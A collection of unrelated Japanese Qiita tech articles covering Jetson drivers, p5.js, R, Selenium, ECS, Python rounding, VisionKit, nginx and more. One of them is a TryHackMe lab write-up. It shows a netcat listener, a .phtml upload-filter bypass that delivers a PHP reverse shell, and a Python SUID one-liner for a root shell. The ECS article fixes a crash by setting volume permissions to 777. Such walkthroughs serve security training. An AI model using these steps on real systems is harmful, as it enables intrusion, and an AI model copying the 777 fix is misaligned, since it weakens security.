OmniAICreator/Qiita-1.07M huggingface dataset:
Jetson Linux 36.3にIntel Wi-Fiドライバをインストールする

## はじめに

[reComputer J4012セットアップ（ハードウェア編）](https://qiita.com/dandelion1124/items/c8b9afb8a2664c8f23cf)ではWi-FiモジュールとしてIntel Dual Band Wireless-AC 8265（<https://www.amazon.co.jp/gp/product/B01KT3VI7Q/>）を使用しており、JetPack 5.1.1（Jetson Linux 35.3.1）、JetPack 5.1.2（Jetson Linux 35.4.1）ではプリインストールドライバで無線LAN機能が使用できていました。

一方、JetPack 6.0 GA（Jetson Linux 36.3）では、Intel Dual Band Wireless-AC 8265がプリインストールドライバで使えなくなってしまっていました。そのため、Intel Wi-Fiドライバをソースビルドでインストールする方法を紹介します。

## 動作確認環境

- reComputer J4012(Jetson Orin NX 16GB)
- Intel Dual Band Wireless-AC 8265
- JetPack 6.0 GA
- [backports-5.15.81-1.tar.xz](https://cdn.kernel.org/pub/linux/kernel/projects/backports/stable/v5.15.81/backports-5.15.81-1.tar.xz)

## 前準備

Jetson Linuxインストール直後はWi-Fi機能が使えないため、インターネットによる時刻同期が行われず、日付が1970年1月1日になってしまっています。後述するドライバビルド時に問題が生じるため、一旦時刻を手動で合わせた後、時刻同期を有効化します。

## ドライバインストール

別マシンで<https://backports.wiki.kernel.org/index.php/Releases>から`backports-5.15.81-1.tar.xz`をダウンロードしておき、USBメモリ等を使ってJetsonデバイスにコピーします。その後、以下のコマンドを実行して、iwlwifiモジュールをビルド、インストールします。

```shell
tar Jxfv backports-5.15.81-1.tar.xz
cd backports-5.15.81-1
make defconfig-iwlwifi
make -j8
sudo make install
```

インストール後、`/etc/modprobe.d/iwlwifi.conf`で以下の行を追加します。

```
options iwlwifi 11n_disable=1
```

その後、iwlwifiモジュールを読み込むためにOSを再起動します。

```shell
sudo reboot
```

OS再起動後、Wi-Fi機能が動作することを確認します。

## 備考

ソースビルドせずにaptでも`backport-iwlwifi-dkms`パッケージをインストールすることができます。ただし、OS起動後にしばらくWi-Fiデバイスが認識されない現象が報告されているようです。
<https://forums.developer.nvidia.com/t/jetpack-6-wifi-slow-startup-with-backport-iwlwifi-dkms/297967>
個人開発をするメリットについて

:::note warn
当記事での個人開発は収益化に向けたアプリ開発を指しておりません。
趣味の範疇で行う個人開発となります。
:::

個人開発を行うメリットは以下であると考えます。
1. 技術スキルの向上
2. 技術に関するキャッチアップ力向上
3. プライベートの質向上

### メリットの深堀り
## 1. 技術スキルの向上
実務で扱うことができるプログラミング言語やインフラ構成に関してはモダン性＜安定性が求められるかと思います。
それに伴い実務で扱える言語やフレームワーク、インフラ環境がモダンな構成からかけ離れているケースがあり得るかと思います。
個人開発ではモダン性＞安定性で実現可能であるため、多少安定性を犠牲にしてでもモダン性を追及できるメリットがあります。
副作用として、モダン技術の知見がある→実務で実際に活かせる・技術選定時にアイデアや知見の共有ができるといった事にも繋がります。

## 2.技術に関するキャッチアップ力向上
要求内容によりますが、個人開発を行うことでローカル環境で動くアプリの開発で終わることなくリモート環境で動くアプリ開発を行う状態を作り出すことができます。
これに伴い、リモート環境のOSはどうするか、webサーバはどうするか、CDN・ロードバランサ・NAT機能は不要かといった問題に気づくことが可能となります。
もちろん使用言語が適切か・他言語でも実装可能ではないか・多言語のほうが処理能力が高いのではといった事にも着目できるかと思います。
***
以降は個人の見解になります。
私は、個人開発を行うことで特にインフラ面で考慮しなくてはいけない面を多く知ることが出来ました。
この点は通常業務を遂行するだけでは学ぶことが出来なかったのではと認識してます。
インフラエンジニアという言葉が世の中に出回っていることからインフラの世界についても明確な水準は現時点で定義できませんがすべてのエンジニアが知識レベルで知るべきであると感じました。

## 3. プライベートの質向上
個人開発として筋トレアプリを開発しました。
※認証機能を割愛しているため、当記事でのサイト紹介は開発環境のみとさせていただきます。
https://gosho-techplay.com/training/
※開発環境であることにより、検証中の不具合が顕在化している点ご容赦ください。

当アプリを開発することで以下のメリットが生まれました。
1.既存アプリ有料機能の無料化
例として、１か月単位での日割り換算の自動化機能、1RM（1回だけ上げることが出来る重量を取り扱う運動）をベースに各種トレーニング法でのセット数・重量の自動計算機能があります。
2.柔軟なカスタマイズ化
改善中ではあるが、UIやクリック回数の削減などユーザ目線で改善したいところを開発者がカスタマイズできる部分があります。
3.障害発生時のリカバリ容易化
DBデータ参照、登録に失敗して画面が動かなくなった等の障害に対して開発者が気づき、リカバリすることが可能です。（本記事で公開しているアプリは開発環境であるため、障害発生の気づきに遅れが生じる可能性があることご容赦ください。）
p5.js での往復する動きのループアニメーションを frameCount と色の透明度の設定で作る

## この記事の内容
p5.js で往復する動きを使ったループアニメーションを作るのに、「frameCount と剰余演算を使う方法」と「frameCount と三角関数を使う方法」のそれぞれを試し、その話を以下の記事に書きました。

●p5.js でのループアニメーションで「frameCount」と「剰余演算 or 三角関数」を使う ：2D・3D のそれぞれで x方向に往復する動きを例に ＋α #JavaScript - Qiita
　https://qiita.com/youtoy/items/47cf23bb16af9f22ced3

今回の記事で扱うのは、それら 2つとは別の方法を試してみた話です。

## 実装した内容
描画する内容は、キャンバスの真ん中の高さのところを円が左右に往復するというものです。
まずは実装した内容全体を示します。

```javascript
const c = [190, 160, 250];
let a = 255;

function setup() {
  createCanvas(450, 350);

  noStroke();
}

function draw() {
  background(30);

  const maxCount = width;
  const f = frameCount % maxCount;
  a = f === 0 ? 255 - a : a;

  fill(...c, a);
  circle(f, height / 2, 20);
  fill(...c, 255 - a);
  circle(width - f, height / 2, 20);
}
```

今回使った方法を箇条書きで書くと、以下の通りです。

- frameCount を使った処理で「左から右に動く円」と「右から左に動く円」を描画する
- 上記の 2つの動く円のうち、片方は透明にする
- 2つの円のどちらを透明にするかを特定のタイミングで切り替える

これで見た目上は、単一の円が画面上を左右に往復している見た目になります。

### 移動スピードを速くする
上記の実装では、円の動きが遅く感じるかもしれません。
そこで、移動スピードを速めたものも以下に掲載します。

変更点は2つあり、1つは f を計算する部分で frameCount にある係数を乗算している部分です。そしてもう 1つは、透明度を扱うための変数 a の値を切り替える条件（三項演算子での条件設定）を変更した部分です。

```javascript
const c = [190, 160, 250];
let a = 255;

function setup() {
  createCanvas(450, 350);

  noStroke();
}

function draw() {
  background(30);

  const maxCount = width;
  const f = (6 * frameCount) % maxCount;
  a = f < 6 ? 255 - a : a;

  fill(...c, a);
  circle(f, height / 2, 20);
  fill(...c, 255 - a);
  circle(width - f, height / 2, 20);
}
```

三項演算子での条件設定を、 `f === 0` から `f < 6` に変更しています。
この 6 というすす時は、その前の f を計算する部分で frameCount に乗算した係数です。

frameCount に 6 を乗算したことで、 1, 2, 3,  ... と増えていく frameCount の値が 6, 12, 18, ..., と増えることになります。また、剰余演算の除数の値によっては、元の条件式で `f === 0` と判定していた部分は 0 から　5 の間の値になります。

そこで、条件式を `f < 6` にしています。
ベイズ統計モデリング 写経5

## 3.5 データの読み込みと保存

``` r
df = read.csv("c01.csv",fileEncoding = "cp932")
head(df)
```

    ##   都道府県コード 都道府県名 元号 和暦.年. 西暦.年. 注 人口.総数. 人口.男. 人口.女.
    ## 1             00       全国 大正        9     1920      55963053 28044185 27918868
    ## 2             01     北海道 大正        9     1920       2359183  1244322  1114861
    ## 3             02     青森県 大正        9     1920        756454   381293   375161
    ## 4             03     岩手県 大正        9     1920        845540   421069   424471
    ## 5             04     宮城県 大正        9     1920        961768   485309   476459
    ## 6             05     秋田県 大正        9     1920        898537   453682   444855

csvを読み込むとdataframe型になる。

``` r
class(df)
```

    ## [1] "data.frame"

``` r
head(df$都道府県名)
```

    ## [1] "全国"   "北海道" "青森県" "岩手県" "宮城県" "秋田県"

カラムの書き換え factor型にする。

``` r
df$元号 = factor(df$元号, levels = c("大正","昭和","平成"))
```

``` r
head(as.numeric(df$元号))
```

    ## [1] 1 1 1 1 1 1

カラムの書き換え。vector型にする。

``` r
df$元号 = as.vector(df$元号)
```

``` r
head(df$元号)
```

    ## [1] "大正" "大正" "大正" "大正" "大正" "大正"

``` r
head(as.numeric(df$元号)) ## エラー
```

    ## Warning in head(as.numeric(df$元号)): 強制変換により NA が生成されました

    ## [1] NA NA NA NA NA NA

### 3.5.2 データの保存

csvの保存

``` r
write.csv(df, file="c01_v2.csv", row.names = FALSE, quote=FALSE, fileEncoding = "cp932")
```

Rdata形式での保存。型の情報が保存される。

``` r
save(df, file="c01_v2.Rdata")
```

Rdata形式の読み込み。変数に代入する必要はない

``` r
load("c01_v2.Rdata")
```
Java で Selenium と Jsoup でウェブブラウザ自動化とデータ抽出

# 1. はじめに

ウェブ開発の世界では、ブラウザの自動化やデータの抽出は日々の業務を効率化する上で欠かせない技術です。Javaを用いたSelenium WebDriverとJsoupライブラリを組み合わせることで、ブラウザを自動操作し、必要な情報を効率的に収集することができます。この記事では、Java, Selenium, とJsoupを使用してブラウザ自動化とデータ抽出を行う基本的な方法を紹介します。

# 2. Seleniumとは？

Seleniumは、ブラウザ操作を自動化するための一連のツールを提供します。開発者やテスターがコードを書いてブラウザの動作を自動化できるように、WebDriverというAPIを介して様々なブラウザと対話します。これは、主にウェブアプリケーションのテスト自動化に使用されますが、データのスクレイピングや自動化されたナビゲーションのためにも使用されます。

# 3. Jsoupとは？

Jsoupは、JavaのHTMLパーサーライブラリで、HTMLを解析し、操作し、クリーンナップし、HTMLからデータを抽出するためのメソッドを提供します。ウェブページからのデータ抽出やHTMLドキュメントのクリーニング、様々なHTML操作に使用されます。Seleniumで取得したHTMLページを解析し、必要なデータを抽出する際に非常に便利です。

# 4. MavenでSeleniumとJsoupを設定する

JavaプロジェクトでSeleniumとJsoupを使用するためには、Mavenを利用して以下の依存関係を`pom.xml`に追加します:

```xml
<!-- Selenium WebDriver -->
<dependency>
    <groupId>org.seleniumhq.selenium</groupId>
    <artifactId>selenium-java</artifactId>
    <version>4.16.1</version>
</dependency>

<!-- Jsoup HTML Parser -->
<dependency>
    <groupId>org.jsoup</groupId>
    <artifactId>jsoup</artifactId>
    <version>1.16.1</version>
</dependency>
```

これにより、プロジェクトにSeleniumとJsoupの両方が導入され、利用準備が整います。

# 5. 基本的なブラウザ自動化とデータ抽出スクリプト

以下はJavaでSeleniumとJsoupを組み合わせた基本的な自動化スクリプトの例です。適切なimport文を追加し、実行時のエラーを防ぐために必要なライブラリを指定しています。

```java
import org.jsoup.Jsoup;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;
import org.openqa.selenium.remote.RemoteWebDriver;

final var options = new ChromeOptions();
options.addArguments("--headless=new");
final RemoteWebDriver driver = new ChromeDriver(options);

driver.get("https://protopedia.net/prototype/4133");

final var pageSource = driver.getPageSource();
driver.quit();

final var doc = Jsoup.parse(pageSource);
// Jsoupを使って特定の要素を抽出
final var titles = doc.select("h1").text(); 
```

このスクリプトは、Seleniumでブラウザを操作し指定されたページにアクセスし、ページのHTMLを取得します。その後、Jsoupを使ってHTMLを解析し、特定のデータ（この場合は`<h1>`タグのテキスト）を抽出します。

# 6. まとめ

Java で Selenium と Jsoup を組み合わせることで、ブラウザの自動化とデータ抽出が容易になります。この基本的な例を出発点として、さらに複雑な操作やデータ抽出のシナリオに挑戦してみてください。正確で効率的な自動化スクリプトの構築に向けて、今日から始めましょう。
ECS on EC2でDockerコンテナを使用時に発生した自動タスク再起動の問題と解決策

English below the Japanese
## 背景

Amazon ECS on EC2を使用してVue、Laravel、MySQLを実行する3つのDockerコンテナを構築した際に直面した特定の問題について述べます。この問題は、タスクが不定期に約一日に一回自動的に終了し、再起動する現象です。

## 環境

- コンテナA：Vueを実行（専用のDockerボリュームあり）
- コンテナB：Laravelを実行（専用のDockerボリュームあり）
- コンテナC：MySQLを実行（専用のDockerボリュームあり、再起動によるデータ損失あり）

これらのコンテナは、それぞれ専用のDockerボリュームを持ち、EC2インスタンス上の一つのクラスターを介して一つのタスクとして定義され、各ボリュームがホストマシンにマウントされています。

## 問題の特定過程

タスクが不定期に再起動するため、AWSでは停止したタスクの情報は約1時間しか保持されません。そこで、以下のURLに従い、タスクの停止原因をCloudWatch Logsに記録することにしました。
[参考URL](https://dev.classmethod.jp/articles/tsnote-ecs-how-can-i-store-the-reason-for-stopping-ecs-tasks-in-cloudwatch-logs/)

エラーメッセージ「Essential container in task exited」により、あるコンテナの停止が全体のタスク再起動を引き起こしていることが示唆されました。特に、MySQLコンテナCの再起動がデータ損失を引き起こしていたため、このコンテナが原因であると考えられました。

## 解決策

ホストマシン上のMySQLコンテナCのDockerボリュームのファイル権限を確認したところ、rootユーザーにのみ書き込み、読み取り、実行権限があることが分かりました。この制限がMySQLコンテナCがボリュームへの書き込みに失敗し、再起動される原因である可能性がありました。

そこで、MySQLコンテナCのボリュームのファイル権限を777に変更しました。この変更により、現在は問題なく稼働しており、新たな問題は発生していません。


## Background

I faced a specific problem when setting up three Docker containers to run Vue, Laravel, and MySQL using Amazon ECS on EC2. The issue was that the tasks would automatically stop and restart about once a day at irregular intervals.

## Environment

- Container A: Running Vue (with a dedicated Docker volume)
- Container B: Running Laravel (with a dedicated Docker volume)
- Container C: Running MySQL (with a dedicated Docker volume, experiencing data loss due to restarts)

These containers each had their dedicated Docker volumes and were defined as a single task through a cluster on an EC2 instance, with each volume mounted on the host machine.

## Process of Identifying the Problem

Since the tasks were restarting irregularly, AWS only retains information about stopped tasks for about an hour. Therefore, following the instructions at the URL below, I set up to record the reasons for task stoppage in CloudWatch Logs.
[Reference URL](https://dev.classmethod.jp/articles/tsnote-ecs-how-can-i-store-the-reason-for-stopping-ecs-tasks-in-cloudwatch-logs/)

The error message "Essential container in task exited" suggested that the stopping of a particular container was triggering the restart of the entire task. Especially, the restarts of the MySQL container C were causing data loss, leading to the conclusion that this container was the culprit.

## Solution

Upon checking the file permissions of the Docker volume for the MySQL container C on the host machine, it was found that only the root user had write, read, and execute permissions. This restriction could have been causing the MySQL container C to fail writing to the volume, leading to its restart.

Consequently, I changed the file permissions of the volume for MySQL container C to 777. Since this change, the system has been operating smoothly without any new issues arising.
htmlでポップアップwindowを出してみる。

機能説明などで、一時的に見られるウインドーがあると便利ですよね。
そこで、html内にスタイルシート(css)を使ったポップアップウインドーを見つけました。
それに手を加えジャバスクリプト(javascript)で表示位置を変えたのを、紹介します。
特徴としてはちょっとしたテキストを確認したり、コピペして使える。要らない時は消して置いたり邪魔になったら場所を変える。

htmlファイル
```html
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8">
<title>Pop UP Window</title>
<link rel="stylesheet" href="popupw_css.css">
<script src="popupw_js.js" defer></script>
</head>
<body>
<h1 align="center">Pop UP Window</h1>
「アドバイザー・にゃんこ」<br>
<label class="my_1">
  <span class="my_1">popupを表示</span>
  <input type="checkbox" name="checkbox" class="my_1" onclick="chk1();">
  <div id="popup">
    <img src="imge\kohacu.com_samune_000576.png" class="my_1" alt="ねこ">
    <input type="checkbox" name="checkbox2" id="my_11" onclick="chk2();">上に置く<br>
    <span style="color: #fff;">二行目</span><br>長いのを書いていくとどうなるのかと言うと端で折り返されるはずである。
  </div>
</label>
<br><br><br><br><br><br>
</body>
</html>
```

cssスタイルシート(popupw_css.css)
```css
@charset "UTF-8";
/*  ver_1_00   */
body { 
   margin: 0.8cm;
   background:#358fe2;
}
/*popup表示させたいコンテンツのレイアウトと位置*/
#popup {
  width: 250px;
 /* line-height: 100px;*/
  background: #000;
  padding: 10px 10px;
  vertical-align: text-top;
  box-sizing: border-box;
  display: none;
  position: fixed;
  top: 50%;
/*  left: 50%;*/
  -webkit-transform: translate (-50%, -50%);
  transform: translate (-50%, -50%);
}

img.my_1 {
  width:100%;
}

label.my_1 {
  display:block;
  color: #01b6ed;
}

  /*ボタンの装飾*/
label.my_1 span.my_1 {
  display: block;
  background-color: #01b6ed;
  color: #fff;
  width: 200px;
  line-height: 40px;
  border-radius: 4px;
  text-align: center;

}
label.my_1 span.my_1:hover {
  cursor: pointer;
}
input.my_1[type="checkbox"] {
  display:none;
}
  /*checkboxがチェックの状態になったらpopupを表示させる*/
input.my_1[type="checkbox"]:checked + #popup {
  display:block;
}
```

javascriptジャバスクリプト(popupw_js.js)
```javascript
// ver1_00 
/* stylsyto 変更 */
let my_width = document.documentElement.clientWidth;
let myNewWidth = my_width - 250 //styleで横幅を250pxと指定しているから
document.querySelector('#popup').style.left = `${myNewWidth}px`;
/*               */
function chk1() {
    my_width = document.documentElement.clientWidth;
    myNewWidth = my_width - 250
    document.querySelector('#popup').style.left = `${myNewWidth}px`;    
}
function chk2() {
    let myelement = document.getElementsByName('checkbox2');
    if (myelement[0].checked == true){
       document.querySelector('#popup').style.top = '0';
    }else{
        document.querySelector('#popup').style.top = '50%';
    }
}   
```

良い日々をお過ごしください。
![kohacu.com_samune_000576.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3625232/8d883051-e472-8cfe-6070-483696bd6fd7.png)
【Python】math関数を使った切り上げ・切り捨て・偶数丸め（≒四捨五入）の除算

# 概要
Python3では、設計上、整数同士の除算でも結果が浮動小数点数として返されることになっています。本記事では`math`を使ったサンプルコード、実数除算と整数除算、情報落ちなどについて解説します。

# 除算では割り切れる場合でもfloat型になる

公式ドキュメントでも以下のように記載されています。

> 除算 (/) は常に浮動小数点数を返します。 // 演算子は 整数除算 を行い、整数値を返します; 剰余は、% で求めます。:
引用元：[3.1.1. 数¶](https://docs.python.org/ja/3/tutorial/introduction.html#numbers)

以下ではわかりやすい例もあります。

>3 / 3 のように割り切れる場合でも、答えは整数の 1 ではなく、小数点以下が `0`のfloat型になります。
1.0
引用元：[整数と実数: ゼロからのPython入門講座](https://www.python.jp/train/type_and_func/float.html)

Pythonでは（というか他の言語でも一緒と思われる？）、`/`は浮動小数点用の割算で、`//`が整数用の割算となっています。これは、整数除算と言い、小数点以下を切り捨てた整数値が返ってきます。

※Python 2では、`/`演算子は整数同士の除算であり、整数の割り算の結果も整数になっていたようです...

簡単にいうと、以下の通り。
- 実数除算 = 除算結果に小数部を含む
- 整数除算 = 除算結果から小数部分を切り捨てて整数部のみを取り出す

# サンプルコード

以下、 普通の割算(実数除算)を使う場合、整数除算を使って切り捨てにする場合、`math.ceil()`を使って切り上げにする場合のサンプルコードと出力結果です。


```py
import math

# 距離（メートル）
distance_meters = 800

# 実数除算を使う場合
minutes = int(distance_meters) / 80
print(f"{distance_meters}メートルの距離を80で割って分数に変換すると、{minutes}分かかります。")

## 出力結果　##
# 800メートルの距離を80で割って分数に変換すると、10.0分かかります。 

# 整数除算を使う場合
minutes = distance_meters // 80
print(f"{distance_meters}メートルの距離を80で割って分数に変換すると、{minutes}分かかります。")

## 出力結果　##
# 800メートルの距離を80で割って分数に変換すると、10分かかります。

# 距離を80で割り、秒数に変換して切り上げる場合
minutes = math.ceil(distance_meters / 80)
print(f"{distance_meters}メートルの距離を80で割って分数に変換すると、{minutes}分かかります。")

## 出力結果　##
# 800メートルの距離を80で割って分数に変換すると、10分かかります。
```

上記の例だと、実数除算の場合のみ`10.0`というように小数点以下の`0`がついてしまっていることがわかります。

ただし、これだと下二つの区別がつきませんね。
距離を`801`にしてみると結果はどうなるでしょうか。

```
801メートルの距離を80で割って分数に変換すると、10.0125分かかります。
801メートルの距離を80で割って分数に変換すると、10分かかります。
801メートルの距離を80で割って分数に変換すると、11分かかります。
```

切り捨て、切り上げが行われていることがわかります。

一点注意が必要なのは、`math.ceil()`関数は浮動小数点数を使用しているという点。Pythonの`float`（浮動小数点数）は倍精度を使用し、おおよそ15〜16桁の精度を持っています。なので、精度には制限があります。厳密な計算結果を得たい場合は、`float`を経由しない方が良いでしょう。「情報落ち」、というやつですね。

ちなみに、切り捨ての関数はないのか？と思いますが、`math.floor()`という関数があります。これを使った結果は以下の通り。

```
801メートルの距離を80で割って分数に変換すると、10分かかります。
```

整数除算の結果と同じように、切り捨てられていることがわかりますね。

言わずもがな、`round()関数`を使用すれば、数値を偶数丸め（銀行丸め）できます。

```py
# 距離（メートル）
distance_meters = 801

# 偶数丸めで整数値に変換する場合
minutes = round(distance_meters / 80)
print(f"{distance_meters}メートルの距離を80で割って分数に変換すると、{minutes}分かかります。")

## 出力結果　##
# 801メートルの距離を80で割って分数に変換すると、10分かかります。
```

この偶数丸めは、四捨五入とは厳密には異なる点が注意です。例えば、`0.5`の場合、四捨五入の考え方だと`1`になりますが、round関数は最も近い整数値のうち偶数を選ぶことになっているので、結果は`0`になります。
iOS16からのQRコードの読み取り

iOS16以前はAVFoundationを用いてQRコードの読み取りを実装していました。しかし、iOS16からはVisionKitの新機能により、より簡単な方法でQRコードのスキャンが可能になりました。
VisionKitは、機械学習を活用した画像認識技術を提供しており、これにより容易に高品質なデータ認識機能をアプリに組み込むことができます。

忘れないように備忘録として実装方法を残しておきます。

# 実装
以下が実装です。 SwiftUIで使用できるようにUIViewControllerRepresentableでラップしています。

```Swift
import VisionKit
import UIKit
import SwiftUI

public struct QRCodeReader: UIViewControllerRepresentable {
    private let onRecognize: (RecognizedItem.Barcode) -> Void

    public init(onRecognize: @escaping (RecognizedItem.Barcode) -> Void) {
        self.onRecognize = onRecognize
    }

    public func makeUIViewController(context: Context) -> some UIViewController {
        let viewController = DataScannerViewController(
            recognizedDataTypes: [.barcode(symbologies: [.qr])],
            qualityLevel: .balanced,
            recognizesMultipleItems: false,
            isHighFrameRateTrackingEnabled: false,
            isHighlightingEnabled: true
        )
        viewController.delegate = context.coordinator

        try? viewController.startScanning()
        return viewController
    }

    public func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
    }

    public func makeCoordinator() -> Coordinator {
        Coordinator(parent: self)
    }

    public final class Coordinator: NSObject, DataScannerViewControllerDelegate {
        let parent: QRCodeReader
        
        fileprivate init(parent: QRCodeReader) {
            self.parent = parent
        }

        public func dataScanner(_ dataScanner: DataScannerViewController, didAdd addedItems: [RecognizedItem], allItems: [RecognizedItem]) {
            guard let item = allItems.first else { return }
            switch item {
            case .barcode(let recognizedCode):
                parent.onRecognize(recognizedCode)
            default:
                break
            }
        }
    }
}

```
Coordinatorを使用して、認識したQRコードをQRCodeViewのonRecognizeクロージャでコールバックしています。
ちなみにDataScannerViewControllerは、QRコードだけでなく、他の種類のバーコードやテキストの認識などもサポートしています。
KomgaをNginxリバースプロキシでHTTPSにする

# Komgaとは
Javaやらなんやらで動作する電子書籍リーダー。

## 現状
外から読めるようHTTPSで保護する必要があり、公式ではCaddyを推奨していたもののシステム構成的に使えないので、現状使用しているnginxでリバースプロキシをかける必要があった。

が、githubのissueを読んでも役に立ちそうな回答がなかったのでメモ

## 設定

### java起動オプション
docker版ではなく、jarファイルを直接起動しているので起動オプションを付ける。
`--server.servlet.context-path="/komga/"`

```
- java -jar -Xmx60G komga-1.9.2.jar
+ java -jar -Xmx60G komga-1.9.2.jar --server.servlet.context-path="/komga/"
```

### nginx設定ファイル
``` xxx.conf
server {
   listen 443 ssl http2;
   listen [::]:443 ssl http2;
   server_name example.com;
   
   ~~~~~~~~~~~~~~~~~~~~~
   普段の設定
   ~~~~~~~~~~~~~~~~~~~~~

   # 以下追記
   
   location ^~ /komga/ {
      proxy_set_header Host $host:$server_port;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-Host $server_name;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header X-Forwarded-Proto https;
      proxy_redirect  http://  $scheme://;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_cache_bypass $cookie_session;
      proxy_no_cache $cookie_session;
      proxy_buffers 32 4k;
      proxy_pass http://{komga_ipaddr}:25600/komga/;
   }
}
```
20240104_Test

# はじめに

ごきげんよう、百合宮桜です。
これは Qiita CLI での執筆テスト記事です。

![M365_SignInBotan.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3032705/b070b80f-84b2-c094-b661-6ee244b03599.png)
macのterminalからscriptを実行

MacにてVisual Studio CodeのJS機能検証を進めており、terminal内にて容易に行えないかを考え、調べたら以下記事の`osascript`コマンドが利用できそうなので利用している。
https://support.apple.com/ja-jp/guide/terminal/trml1003/mac

# osascriptにて行ったこと
Visual Studio Codeにて作成をしているjsの実行をterminalにて実行をしてどのような挙動をするかの検証。
AppleScriptを作成しての実行。


appleのWebページ上へ以下記載があり、`Do Shell Script`について初めて知り知見を広めてゆかなければと焦り中。
> AppleScriptでは、「Do Shell Script」コマンドを使って、UNIXシェルスクリプトのコマンドを「ターミナル」に送信できます。
TryHackMe RootMe Writeup

## 概要
TryHackMeのRootMeのWriteupを書いていきます。
多分THMの中で一番これが簡単なんじゃないかな？

## Deploy the machine

Start Machineというボタンを押せばいいだけなんだけど、OpenVPNもつなげって言われる。
[このスクリプト](https://github.com/tryhackme/openvpn-troubleshooting)はTryHackMe公式のトラブルシュートスクリプトなのでこれを利用していつもつないでる。

初期設定されていたEU-Regular3というロケーションのopenvpnの設定を使うと証明書が壊れてるっぽいため、IN-Regular-1を利用している

## Scan the machine, how many ports are open?

```
nmap -sV -A xxx.xxx.xxx.xxx
```
でおしまい。答えは2

## What version of Apache is running?

上記コマンドを実行すると、apacheのバージョンまで確認できるため、それを入力

## What service is running on port 22?

これもnmnapを動かした際に確認できている。ssh

## Find directories on the web server using the GoBuster tool.

```
gobuster dir -u http://xxx.xxx.xxx.xxx -w directory-list-2.3-medium.txt
```

このdirectory-list-2.3-medium.txtは[ここ](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-medium.txt)から取得可能。ここは公式ではない気がする

そうすると`/panel`というパスが見つかるので、アクセスするとアップローダーの画面が表示される。

## Getting a shell
上記アップロード画面からシェルを取得しろとのこと、Hintには

```
Search for "file upload bypass" and "PHP reverse shell".
```

とのこと
### find upload bypass

このアップローダーは拡張子が.phpだとアップロードを拒否する。
そのため拡張子を.phtmlとか.phpsとかにするとそのバリデーションを回避することができる。
攻撃対象のapacheだとphtmlは実行可能になってそうなのでphtmlの拡張子に変更してアップロードする。

問題は何のスクリプトを実行するかだ。

### PHP reverse shell

[これ](https://github.com/pentestmonkey/php-reverse-shell)を実行するっぽい

クライアント側で
```
nc -v -n -l -p 1234
```

を実行した後
php-reverse-shell.phtmlをアップロードしてアクセスすると

```
listening on [any] 1234 ...
connect to [10.17.111.155] from (UNKNOWN) [10.10.72.233] 49542
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:15:04 up  1:31,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
```
このようにshellが降ってきます。
あとは、
```
find / -name user.txt
/var/www/user.txt
```

で見つかる

## Search for files with SUID permission, which file is weird?

あとはどうやってroot権限に昇格するかだが、
Hintを押すと
```
find / -user root -perm /4000
```
と表示される
SUIDで怪しい強い権限を持って悪用できそうなファイルはないかというと

```
-rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python
```

pythonが強そうな権限を持っているため

```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

でroot権限のシェルを取得する

### SUIDとは

SUIDとは実行する際の実行権限を実行するユーザーではなくファイルの所有者権限で実行する権限を持てる仕組みである。上記の設定の場合pythonをroot権限で実行できてしまう。

これでroot権限を取得した後、

```
find / -name root.txt
```
でroot.txtを探す。

### Hint

ここでもHintが表示されており
```
Search for gtfobins
```
と表示される。

このgtfobinsとは何かだが

間違った設定とその実行ファイルなどの組み合わせでどのような権限昇格方法などのやり方があるかがまとめられている[サイト](https://gtfobins.github.io/)であった。

コワイ
校長の声で会話してくれるロボットの製作について

# 最初に
これまでソフトウェア（主にゲーム制作）ばっかしていたんですが、文化祭（著者は高校生）等でハード側のほうを作っていくうちに楽しくなり何か物を作りたいなと思い、校長の声で会話してくれる自走ロボットを開発しようと思ったのでそれの日記的（不定期投稿）なものを作ろうと思ったので書かせていただいています！
# 中身の発話部分を少し作ったよ
https://youtu.be/GzbA9S-uLhA

こんな感じでWindowsの音声入力を使って音声入力をして、その音声をA3RTのTalkAPIに投げて返答を表示するみたいな感じの構成になってます。
あと、返答してきた文章をMeCabで分解して音素？音節？ごとに区切ってスプレッドシートのデータベースからアクセントを検索して結合するっていうのも作成した。

# 目を閉じたり開けたりするアルゴリズム？を思考した話（失敗した）
高校生の私は数学の授業で積分を習ったためそれをなんか使ってできないかなと考えて、結果失敗した話です。素直にアニメーションとかDoTweenとかでやれば済む話なんですが、それでは面白くない！という謎のプライドで考えたものなのでかなりひどい感じではありますが一応記録として残しておく。
![IMG_0915.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/866543/1ab52e37-55d3-a239-f4e1-519baed4d0ce.jpeg)

こんな感じで無理関数？を使っていろいろやるみたいな感じでどんな関数にすればいいのか考えたのですが、いざ実装してみたらうまく動かずに放置してます。

# ハード側の部品選定（買い足したもの）
・メインのシステムを処理するためのパソコン（Win）
→ThinkCentre M920q Tiny (i5 8500T 16GB)
・ロボットの表情を表示するディスプレイ
→WaveShare 5インチ円形タッチディスプレイ
・外装を作るための3Dプリンター
→AnkerMake M5C（とフィラメント）
・その他ケーブル諸々
ー今後買う予定のものー
・何かしらのマイコン
・モーターとか自走するためのパーツ

この時点でかなり金が掛かっていて高校生には痛いって感じでやってますｗ（親にも出してもらってますが、、）

# ゴリゴリプリントする
![IMG_1019.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/866543/c03dd94f-b396-ed9a-b57a-39a527310466.jpeg)

こんな感じでマザーボードだけ取り出してそれを取り付けるための台を印刷したり（背景が汚いのは勘弁）
